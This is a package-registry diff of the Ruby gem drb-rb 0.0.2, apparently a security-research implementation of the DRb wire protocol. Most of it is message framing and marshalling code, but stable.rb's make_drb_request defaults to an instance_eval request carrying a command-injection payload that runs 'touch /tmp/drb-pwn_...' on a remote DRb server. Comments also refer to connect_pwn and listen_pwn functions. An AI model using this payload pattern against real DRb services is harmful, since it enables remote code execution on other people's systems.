drb-rb 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/lib/drb-rb.rb +156 -0
- data/lib/drb-rb/stable.rb +133 -0
- metadata +44 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 94ccd527e185405e65cf075096b2855ea5c7556211faec5a099aab457b4d5cdd
|
4
|
+
data.tar.gz: e84ea85c93567f30e83d63b2d15e81a7048f960abda1a857d6964c72e6587a00
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 873997dbb694b0f74c868603d8b65c642e466d97f3cd13021cddcee190aca7ebfc004e24b5f707166aaec7daacc3fbc7bdd31d5e804bc6004fdd0530ec193640
|
7
|
+
data.tar.gz: 2d86ef34a996de4b9cb7d3167422364a4f5d85dd3eb4352ed3a16baa26a610106ab298077d5994b5218bcf883887d2004186a218ecada2bc93a1021c350ed25c
|
data/lib/drb-rb.rb
ADDED
@@ -0,0 +1,156 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'timeout'
|
4
|
+
require 'parshal'
|
5
|
+
require_relative './drb-rb/stable'
|
6
|
+
|
7
|
+
module DRbRb
|
8
|
+
# block must accept 4 arguments: [obj_id, obj_id_raw], [method, method_raw], [args, args_raw], and [block, block_raw]
|
9
|
+
# block must return 2-3 arguments: success, result, close?
|
10
|
+
def self.start_server(sock, &block)
|
11
|
+
loop do
|
12
|
+
req = begin
|
13
|
+
drb_read_request(sock)
|
14
|
+
rescue => e
|
15
|
+
if 'recvfrom yielded no data' == e.message
|
16
|
+
break
|
17
|
+
end
|
18
|
+
puts "Exception raised in DRbRb handler1: #{e.inspect}\n#{e.backtrace.join("\n")}"
|
19
|
+
break
|
20
|
+
end
|
21
|
+
rep = begin
|
22
|
+
block.call(*req)
|
23
|
+
rescue => e
|
24
|
+
puts "Exception raised in DRbRb handler: #{e.inspect}\n#{e.backtrace.join("\n")}"
|
25
|
+
next
|
26
|
+
end
|
27
|
+
|
28
|
+
begin
|
29
|
+
if not drb_write_reply(sock, *rep)
|
30
|
+
break
|
31
|
+
end
|
32
|
+
rescue => e
|
33
|
+
puts "Exception raised in DRbRb handler3: #{e.inspect}\n#{e.backtrace.join("\n")}"
|
34
|
+
break
|
35
|
+
end
|
36
|
+
end
|
37
|
+
end
|
38
|
+
|
39
|
+
def self.send_request(sock, obj_id, method, args, block, include_raw: false)
|
40
|
+
drb_write_request(sock, obj_id, method, args, block)
|
41
|
+
drb_read_reply(sock, include_raw: include_raw)
|
42
|
+
end
|
43
|
+
|
44
|
+
def self.drb_read_request(sock)
|
45
|
+
id = drb_read_msg_piece(sock, include_raw: true)
|
46
|
+
method = drb_read_msg_piece(sock, include_raw: true)
|
47
|
+
args_len = drb_read_msg_piece(sock, include_raw: true)
|
48
|
+
args = []
|
49
|
+
if args_len[0] != nil && args_len[0].instance_of?(Integer) && args_len[0] > 0
|
50
|
+
for _ in 0...args_len[0]
|
51
|
+
args.push(drb_read_msg_piece(sock, include_raw: true))
|
52
|
+
end
|
53
|
+
end
|
54
|
+
block = drb_read_msg_piece(sock, include_raw: true)
|
55
|
+
[id, method, args, block]
|
56
|
+
end
|
57
|
+
|
58
|
+
def self.drb_read_reply(sock, include_raw: false)
|
59
|
+
[drb_read_msg_piece(sock), # success
|
60
|
+
drb_read_msg_piece(sock, include_raw: include_raw)] # result
|
61
|
+
end
|
62
|
+
|
63
|
+
def self.drb_write_request(sock, obj_id, method, args, block)
|
64
|
+
sock.send(make_request(obj_id, method, args, block), 0)
|
65
|
+
end
|
66
|
+
|
67
|
+
def self.drb_write_reply(sock, success, result, close=false)
|
68
|
+
sock.send(make_reply(success, result), 0)
|
69
|
+
if close
|
70
|
+
sock.close
|
71
|
+
end
|
72
|
+
!close
|
73
|
+
end
|
74
|
+
|
75
|
+
def self.drb_read_msg_piece(sock, include_raw: false)
|
76
|
+
len = drb_read_msg_piece_length sock
|
77
|
+
|
78
|
+
piece = nil
|
79
|
+
begin
|
80
|
+
Timeout::timeout(4) {
|
81
|
+
piece = sock.recvfrom(len)[0]
|
82
|
+
piece << sock.recvfrom(len - piece.size)[0] while piece.size < len
|
83
|
+
}
|
84
|
+
rescue Timeout::Error
|
85
|
+
raise "recvfrom timed out"
|
86
|
+
end
|
87
|
+
|
88
|
+
obj = Parshal.unmarshal(piece)
|
89
|
+
|
90
|
+
if include_raw
|
91
|
+
[obj, piece]
|
92
|
+
else
|
93
|
+
obj
|
94
|
+
end
|
95
|
+
end
|
96
|
+
|
97
|
+
def self.drb_read_msg_piece_length(sock)
|
98
|
+
len = 0
|
99
|
+
begin
|
100
|
+
Timeout::timeout(2) {
|
101
|
+
len = sock.recvfrom(4)[0]
|
102
|
+
}
|
103
|
+
rescue Timeout::Error
|
104
|
+
raise "recvfrom timed out"
|
105
|
+
end
|
106
|
+
|
107
|
+
if len.empty?
|
108
|
+
raise 'recvfrom yielded no data'
|
109
|
+
end
|
110
|
+
|
111
|
+
while len.size < 4
|
112
|
+
chunk = nil
|
113
|
+
begin
|
114
|
+
Timeout::timeout(2) {
|
115
|
+
chunk = sock.recvfrom(4 - len.size)
|
116
|
+
}
|
117
|
+
rescue Timeout::Error
|
118
|
+
raise "recvfrom timed out"
|
119
|
+
end
|
120
|
+
|
121
|
+
if chunk[0].empty?
|
122
|
+
raise 'recvfrom yielded no data after partial read'
|
123
|
+
end
|
124
|
+
len << chunk[0]
|
125
|
+
end
|
126
|
+
|
127
|
+
len.unpack1('N')
|
128
|
+
end
|
129
|
+
|
130
|
+
def self.make_request(obj_id, method, args, block)
|
131
|
+
request = make_msg_piece(obj_id)
|
132
|
+
request << make_msg_piece(method)
|
133
|
+
request << make_msg_piece(args.size)
|
134
|
+
args.each { |arg| request << make_msg_piece(arg) }
|
135
|
+
request << make_msg_piece(block)
|
136
|
+
request
|
137
|
+
end
|
138
|
+
|
139
|
+
def self.make_reply(success, result, raw=[false,false])
|
140
|
+
reply = make_msg_piece(success, raw: raw[0])
|
141
|
+
reply << make_msg_piece(result, raw: raw[1])
|
142
|
+
reply
|
143
|
+
end
|
144
|
+
|
145
|
+
def self.make_msg_piece(obj, prepend_size: true, raw: false)
|
146
|
+
#piece = Parshal.marshal(obj)
|
147
|
+
piece = if raw
|
148
|
+
obj
|
149
|
+
else
|
150
|
+
Marshal.dump(obj)
|
151
|
+
end
|
152
|
+
|
153
|
+
piece = [piece.size].pack('N') + piece if prepend_size
|
154
|
+
piece
|
155
|
+
end
|
156
|
+
end
|
@@ -0,0 +1,133 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module DRbRb
|
4
|
+
module Stable
|
5
|
+
# Methods not handled:
|
6
|
+
# - run_cli(argv)
|
7
|
+
# - parse_args(args)
|
8
|
+
# - connect_pwn(targets)
|
9
|
+
# - listen_pwn(targets)
|
10
|
+
|
11
|
+
# Builds a DRb request from pieces.
|
12
|
+
#
|
13
|
+
# == Parameters:
|
14
|
+
# [obj] The id of the object to call the method on. By default, the object_id of nil is passed as it is constant across invocations of the interpreter and always present. Nil can be passed to specify that the method should be called on the default (front) object of the DRb server.
|
15
|
+
# [method] The method to call. This is #instance_eval by default. Should be a String.
|
16
|
+
# [args] An array of arguments passed to the method. Pass an empty array if there are no objects.
|
17
|
+
# [block] The block to pass to the method. Nil by default, which specifies there is no block.
|
18
|
+
#
|
19
|
+
# == Returns:
|
20
|
+
# A array of bytes that can be written to a socket connected to a DRb server. The array includes all parts necessary for a complete request message.
|
21
|
+
def self.make_drb_request(obj = nil,
|
22
|
+
method = 'instance_eval',
|
23
|
+
args = ["IO.read('|touch \"/tmp/drb-pwn_#{Time.now}\"')"],
|
24
|
+
block = nil)
|
25
|
+
raise "make_drb_request doesn't support specifying obj" unless obj.nil?
|
26
|
+
raise "make_drb_request doesn't support specifying a block" unless block.nil?
|
27
|
+
|
28
|
+
DRbRb.make_request(obj.object_id,
|
29
|
+
method,
|
30
|
+
args,
|
31
|
+
block).unpack('c*')
|
32
|
+
end
|
33
|
+
|
34
|
+
# Prepares a piece of a DRb message by attempting to marshal the object and prepending it's length and version number
|
35
|
+
#
|
36
|
+
# == Parameters:
|
37
|
+
# [obj] The object to serialize in this piece.
|
38
|
+
#
|
39
|
+
# == Returns:
|
40
|
+
# A byte array of the marshalled object with all necessary headers for it to be a part of a valid DRb message.
|
41
|
+
def self.drb_msg_piece(obj)
|
42
|
+
DRbRb.make_msg_piece(obj).unpack('c*')
|
43
|
+
end
|
44
|
+
|
45
|
+
# A high-level marshal method that takes an object and tries to marshal the object into a byte array.
|
46
|
+
#
|
47
|
+
# == Parameters:
|
48
|
+
# [obj] The object to serialize
|
49
|
+
#
|
50
|
+
# == Returns:
|
51
|
+
# A byte array of the marshalled object.
|
52
|
+
def self.marshal(obj, prepend_version = true)
|
53
|
+
Parshal.marshal(obj, prepend_version: prepend_version).unpack('c*')
|
54
|
+
end
|
55
|
+
|
56
|
+
# A low-level marshal dump that dumps "raw" types. Intended primarily for #marshal to use but may be useful in other contexts. Main differences are that Integer doesn't include its prefix (as it's used raw in many contexts) and String doesn't turn into an IVAR, it's just the "raw String" representation that's inside the normal IVAR.
|
57
|
+
#
|
58
|
+
# == Parameters:
|
59
|
+
# [obj] The object to be serialized.
|
60
|
+
#
|
61
|
+
# == Returns:
|
62
|
+
# The raw form of the serialized object.
|
63
|
+
def self.marshal_raw(obj)
|
64
|
+
Parshal.marshal_raw(obj)
|
65
|
+
end
|
66
|
+
|
67
|
+
# Gets a reply for a DRb request. This includes a success value indicating whether the call was successful and a result that is the return value from the call. This function will exit with an error code if the success value is invalid (not true or false).
|
68
|
+
#
|
69
|
+
# == Parameters:
|
70
|
+
# [sock] The socket the request was sent over.
|
71
|
+
#
|
72
|
+
# == Returns:
|
73
|
+
# [succ] A boolean, indicating whether the request succeeded or failed.
|
74
|
+
# [result] The string containing the marshaled value returned as a result of the request. If the call was successful, this will contain the return value from the call. If the call failed, this will contain the stacktrace. This value could contain many types of objects depending on the call made so no attempt at decoding is made. Instead the raw value is returned for further parsing if necessary.
|
75
|
+
def self.get_drb_reply(sock)
|
76
|
+
success, result = DRbRb.drb_read_reply(sock)
|
77
|
+
|
78
|
+
throw "Invalid success code in reply: #{success.inspect}" unless [true, false].include? success
|
79
|
+
|
80
|
+
[success, result]
|
81
|
+
end
|
82
|
+
|
83
|
+
# Gets a single piece in a response to a DRb request. First recvs the length of the piece, decodes it to know how many bytes to read, and the recvs the whole piece.
|
84
|
+
#
|
85
|
+
# == Parameters:
|
86
|
+
# [sock] The socket the request was sent over.
|
87
|
+
#
|
88
|
+
# == Returns:
|
89
|
+
# A string containing the raw response. This value has been stripped of it's length header and Marshal version header and contains only the raw value.
|
90
|
+
def self.get_drb_reply_piece(sock)
|
91
|
+
len = DRbRb.drb_read_msg_piece_length(sock)
|
92
|
+
|
93
|
+
reply = sock.recvfrom(len)[0]
|
94
|
+
reply += sock.recvfrom(len - reply.size)[0] while reply.size < len
|
95
|
+
reply
|
96
|
+
end
|
97
|
+
|
98
|
+
# Inspects and removes the first two bytes of a marshal blob to determine the version of marshal used by the encoder. The only version supported by this script is 4.8. If the version doesn't match exactly, a warning is printed to STDERR and the function returns normally.
|
99
|
+
#
|
100
|
+
# == Parameters:
|
101
|
+
# [reply] The string containing the response from a DRb server
|
102
|
+
#
|
103
|
+
# == Returns:
|
104
|
+
# The string without the initial two byte version number.
|
105
|
+
def self.strip_version(reply)
|
106
|
+
Parshal.remove_version_prefix(reply)
|
107
|
+
end
|
108
|
+
|
109
|
+
def self.unmarshal(raw_obj, strip = true)
|
110
|
+
Parshal.unmarshal(raw_obj, remove_version: strip)
|
111
|
+
end
|
112
|
+
|
113
|
+
def self.unmarshal_raw(obj)
|
114
|
+
Parshal.unmarshal_raw(obj)
|
115
|
+
end
|
116
|
+
|
117
|
+
def self.unmarshal_raw_bool(obj)
|
118
|
+
Parshal.unmarshal_raw_bool(obj)
|
119
|
+
end
|
120
|
+
|
121
|
+
def self.unmarshal_raw_string_symbol(obj)
|
122
|
+
Parshal.unmarshal_raw_string_symbol(obj)
|
123
|
+
end
|
124
|
+
|
125
|
+
def self.unmarshal_raw_integer(obj)
|
126
|
+
Parshal.unmarshal_raw_integer(obj)
|
127
|
+
end
|
128
|
+
|
129
|
+
def is_nil(obj)
|
130
|
+
strip_version(obj) == '0'
|
131
|
+
end
|
132
|
+
end
|
133
|
+
end
|
metadata
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: drb-rb
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.2
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Addison Amiri
|
8
|
+
- Jeff Dileo
|
9
|
+
autorequire:
|
10
|
+
bindir: bin
|
11
|
+
cert_chain: []
|
12
|
+
date: 2021-05-20 00:00:00.000000000 Z
|
13
|
+
dependencies: []
|
14
|
+
description:
|
15
|
+
email: jeff.dileo@nccgroup.com
|
16
|
+
executables: []
|
17
|
+
extensions: []
|
18
|
+
extra_rdoc_files: []
|
19
|
+
files:
|
20
|
+
- lib/drb-rb.rb
|
21
|
+
- lib/drb-rb/stable.rb
|
22
|
+
homepage: https://github.com/nccgroup/drb-rb
|
23
|
+
licenses: []
|
24
|
+
metadata: {}
|
25
|
+
post_install_message:
|
26
|
+
rdoc_options: []
|
27
|
+
require_paths:
|
28
|
+
- lib
|
29
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - ">="
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
35
|
+
requirements:
|
36
|
+
- - ">="
|
37
|
+
- !ruby/object:Gem::Version
|
38
|
+
version: '0'
|
39
|
+
requirements: []
|
40
|
+
rubygems_version: 3.1.4
|
41
|
+
signing_key:
|
42
|
+
specification_version: 4
|
43
|
+
summary: A safer, minimal, partial implementation of DRb
|
44
|
+
test_files: []
|